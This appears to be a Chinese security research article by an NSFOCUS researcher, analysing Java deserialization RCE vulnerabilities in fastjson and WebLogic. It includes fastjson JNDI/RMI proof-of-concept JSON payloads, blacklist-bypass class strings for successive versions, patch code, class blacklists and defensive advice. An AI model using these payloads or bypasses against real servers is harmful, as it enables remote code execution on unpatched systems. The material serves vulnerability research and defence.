作者:廖新喜
公眾號:廖新喜
1 議題和個人介紹
1.1 議題概述
2017年又是反序列漏洞的大年,涌現了許多經典的因為反序列化導致的遠程代碼執行漏洞,像fastjson,jackson,struts2,weblogic這些使用量非常大的產品都存在這類漏洞,但不幸的是,這些漏洞的修復方式都是基于黑名單,每次都是舊洞未補全,新洞已面世。隨著虛擬貨幣的暴漲,這些直接的遠程執行代碼漏洞都成了挖礦者的樂園。
本議題將從那些經典案例入手,分析攻擊方和防御方的對抗過程。首先是fastjson的最近的安全補丁的分析,由于黑名單做了加密處理,這里會展開如何得到其黑名單,如何構造PoC。當然2018年的重點還是weblogic,由我給大家剖析CVE-2018-2628及其他Weblogic經典漏洞,帶大家傲游反序列化的世界,同時也是希望開發者多多借鑒做好安全編碼。
1.2 個人簡介:
本文作者來自綠盟科技,現任網絡安全攻防實驗室安全研究經理,安全行業從業七年,是看雪大會講師,Pycon大會講師,央視專訪嘉賓,向RedHat、Apache、Amazon,Weblogic,阿里提交多份RCE漏洞報告,最近的Weblogic CVE-2018-2628就是一個。
個人博客:xxlegend.com
2 反序列化入門
序列化和反序列化是java引入的數據傳輸存儲接口,序列化是用于將對象轉換成二進制串存儲,對應著writeObject,而反序列正好相反,將二進制串轉換成對象,對應著readObject,類必須實現反序列化接口,同時設置serialVersionUID以便適用不同jvm環境。
可通過SerializationDumper這個工具來查看其存儲格式,工具直接可在github上搜索.主要包括Magic頭:0xaced,TCOBJECT:0x73,TCCLASS:0x72,serialVersionUID,newHandle
使用場景:
- http參數,cookie,sesion,存儲方式可能是base64(rO0),壓縮后的base64(H4sl),MII等
- Servlets HTTP,Sockets,Session管理器 包含的協議就包括JMX,RMI,JMS,JNDI等(\xac\xed)
- xml Xstream,XMLDecoder等(HTTP Body:Content-Type:application/xml)
- json(Jackson,fastjson) http請求中包含
反序列攻擊時序圖:

常見的反序列化項目:
- Ysoserial 原生序列化PoC生成
- Marshalsec 第三方格式序列化PoC生成
- Freddy burp反序列化測試插件
- Java-Deserialization-Cheat-Sheet
3 fastjson
3.1 簡介
Fastjson是Alibaba開發的,Java語言編寫的高性能JSON庫。采用“假定有序 快速匹配”的算法,號稱Java語言中最快的JSON庫。提供兩個主要接口toJsonString和parseObject來分別實現序列化和反序列化,示例代碼如下:
User user = new User("guest",2);
String jsonString = JSON.toJSONString(user)
String jsonString = "{\\"name\\":\\"guest\\",\\"age\\":12}"
User user = (User)JSON.parse(jsonString)
Fastjson PoC分類
主要分為兩大類,一個是基于TemplateImpl,另外就是基于基于JNDI,基于JNDI的又可分為
a) Bean Property類型
b) Field類型
可以參考Demo:https://github.com/shengqi158/fastjson-remote-code-execute-poc
fastjson為了防止研究人員研究它的黑名單,想出了一套新的黑名單機制,這套黑名單是基于具體類的hash加密算法,不可逆。如果是簡單窮舉,基本算不出來,后來我想到這些庫的黑名單肯定都在Maven倉庫中,于是寫了個爬蟲,爬取Maven倉庫下所有類,然后正向匹配輸出真正的黑名單類。
3.2 fastjson最近的幾個經典漏洞
下面這段代碼是fastjson用來自定義loadClass的實現
public static Class<?> loadClass(String className, ClassLoader classLoader) {
//省略
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
首先我們來看一個經典的PoC,{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true},關于這個PoC的解讀在我博客上有,這里不再詳述,但是今天我們要講的是前面貼出的一段loadClass導致的一系列漏洞,首先看1.2.41的繞過方法是 Lcom.sun.rowset.RowSetImpl;,當時看到這個PoC的時候就在想官方不會只去掉一次第一個字符 L和最后一個字符 ;吧,果不其然,在官方的修補方案中,如果以 L打頭, ;結尾則會去掉打頭和結尾。當時我就發了一個感概:補丁未出,漏洞已行。很顯然,1.2.42的繞過方法是 LLcom.sum.rowset.RowSetImpl;;,細心的讀者還會看到loadClass的第一個if判斷中還有 [打頭部分,所以就又有了1.2.43的繞過方法是 [com.sun.rowset.RowSetImp. 在官方版本1.2.45黑名單中又添加了ibatis的黑名單,PoC如下: {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}},首先這是一個基于JNDI的PoC,為了更加理解這個PoC,我們還是先來看一下JndiDataSourceFactory的源碼。
public class JndiDataSourceFactory implements DataSourceFactory {
public static final String DATA_SOURCE = "data_source";
//省略
public void setProperties(Properties properties) {
try {
InitialContext initCtx = null;
Hashtable env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
//省略
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}
} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}
其本質還是通過bean操作接口set來調用setProperties,然后觸發JNDI查詢。
4 weblogic
Weblogic是第一個成功商業化的J2EE應用服務器,在大型企業中使用非常廣泛。在Oracle旗下,可以與其他Oracle產品強強聯手,WebLogic Server Java EE 應用基于標準化、模塊化的組件,WebLogic Server 為這些模塊提供了一組完整的服務,無需編程即可自動處理應用行為的許多細節,另外其獨有的T3協議采用序列化實現。下圖就是weblogic的歷史漏洞展示:

CVE-2015-4852
基于T3
- 新的攻擊面
- 基于commons-collections
- 采用黑名單修復
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
- 作用位置有限
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class
CVE-2016-0638
首先來看下漏洞位置,在readExternal位置,
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
//省略
ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);
ObjectInputStream var5 = new ObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
再來看看補丁,加了一個FilteringObjectInputStream過濾接口
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
//省略
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)
BufferInputStream is = this.payload.getInputStream();
FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
FilteringObjectInputStream的實現如下:
public class FilteringObjectInputStream extends ObjectInputStream {
public FilteringObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
return super.resolveClass(descriptor);
}
}
}
其實就是在resolveClass位置加了一層黑名單控制。
基于XMLDecoder
- CVE-2017-3506 由于使用了存在反序列化缺陷XMLDecoder導致的漏洞
- CVE-2017-10271 是3506的繞過
- 都是挖礦主力軍
- 基于http協議 詳細解讀可參考我的博客:http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/
CVE-2017-3248
private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0
&& ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
Class c = super.resolveClass(descriptor);
//省略
}
}
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
CVE-2017-3248 這個漏洞是根據JRMPListener來構造的,從這個補丁也可以看出,在resolveClass和resolveProxyClass都設置了黑名單。
CVE-2018-2628
這個漏洞是我報給Oracle官方的,但是他們并沒有修復完全,導致后來這個漏洞被濫用。
- 完美繞過CVE-2017-3248
- 基于StreamMessage封裝
- 利用java.rmi.activation.Activator繞過補丁中對java.rmi.registry.Registry的限制
- Proxy非必須項
攻擊示意圖如下:

簡單分析可見:http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/
5 反序列化防御
5.1 Weblogic防御
- 過濾T3協議,限定可連接的IP
- 設置Nginx反向代理,實現t3協議和http協議隔離
- JEP290(JDK8u121,7u131,6u141),這個機制主要是在每層反序列化過程中都加了一層黑名單處理,黑名單如下:
黑名單:
maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTra
nsactionManager;
!sun.rmi.server.UnicastRef;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*
當然也有失效的時候,就是發現了新的gadget。這也促使Oracle開始放棄反序列化支持。
5.2 原生反序列化防御
- 不要反序列化不可信的數據
- 給反序列數據加密簽名,并確保解密在反序列之前
- 給反序列化接口添加認證授權
- 反序列化服務只允許監聽在本地或者開啟相應防火墻
- 升級第三方庫
- 升級JDK,JEP290
6 招人
綠盟科技Web攻防實驗室歡迎各位應聘,招聘大牛和實習生。團隊專注于最前沿的Web攻防研究,大數據分析,前瞻性攻擊與檢測預研.
聯系郵箱: liaoxinxi[@]nsfocus.com 或者liwenjin[@]nsfocus.com
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/623/
暫無評論